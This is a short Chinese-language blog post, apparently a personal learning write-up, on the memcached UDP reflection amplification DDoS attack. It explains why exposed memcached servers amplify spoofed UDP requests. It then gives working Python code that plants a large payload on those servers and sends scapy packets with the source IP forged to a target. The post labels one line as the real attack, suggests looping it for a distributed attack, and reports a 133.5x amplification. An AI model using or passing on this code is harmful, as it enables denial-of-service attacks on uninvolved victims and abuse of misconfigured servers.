Jason Sheh

Memcache UDP反射放大攻击


0x00 起因

最近利用此漏洞的工具频发,甚至出现了上T级别流量的攻击。正好漏洞原理比较简单,适合自己动手实践实践,加深一下自己对计算机网络的理解

0x01 原理

  1. 放大
    利用memcache的未授权访问漏洞,攻击者可以通过较小的请求让存在漏洞的服务器发出较大的响应。
    memcache最大存储的item(key+value)大小限制为1M,一次较小的请求可以造成最大1M的响应
  2. 可攻击
    memcache支持udp协议,不需要tcp的握手建立环节,可以伪造请求的ip地址,修改其为攻击的目标。

0x02 攻击

使用python中的scapy库自定义报文,安装可以直接安装python3-scapy
也可以安装python-memcache便于对memcache操作

import memcache
# 此处可添加利用的服务器
conn = memcache.Client([memcache_ip + ':11211', ...])
# 设置最大的存储内容
conn.set('drdos',very_very_long_payload, 0)

#此处为可选项,为了实现最大的反射倍数

from scapy.all import *

# 此处仅为简单原理验证
data = '\x00\x00\x00\x00\x00\x01\x00\x00' + 'stats\r\n'*10

# 此处应为实际攻击
data = '\x00\x00\x00\x00\x00\x01\x00\x00get drdos\r\n'

# 若需实现分布式请添加循环
packets = IP(src=target_ip, dst=memcache_ip) / UDP(sport=12345, dport=11211)/data
result = send(packets)
print(result)

加上’\x00\x00\x00\x00\x00\x01\x00\x00’是因为

The frame header is 8 bytes long, as follows (all values are 16-bit integers
in network byte order, high byte first):
0-1 Request ID
2-3 Sequence number
4-5 Total number of datagrams in this message
6-7 Reserved for future use; must be 0

memcached
上图可以看出只发送了一个包,却返回了39个包,大小也是3倍多,总放大倍数为133.5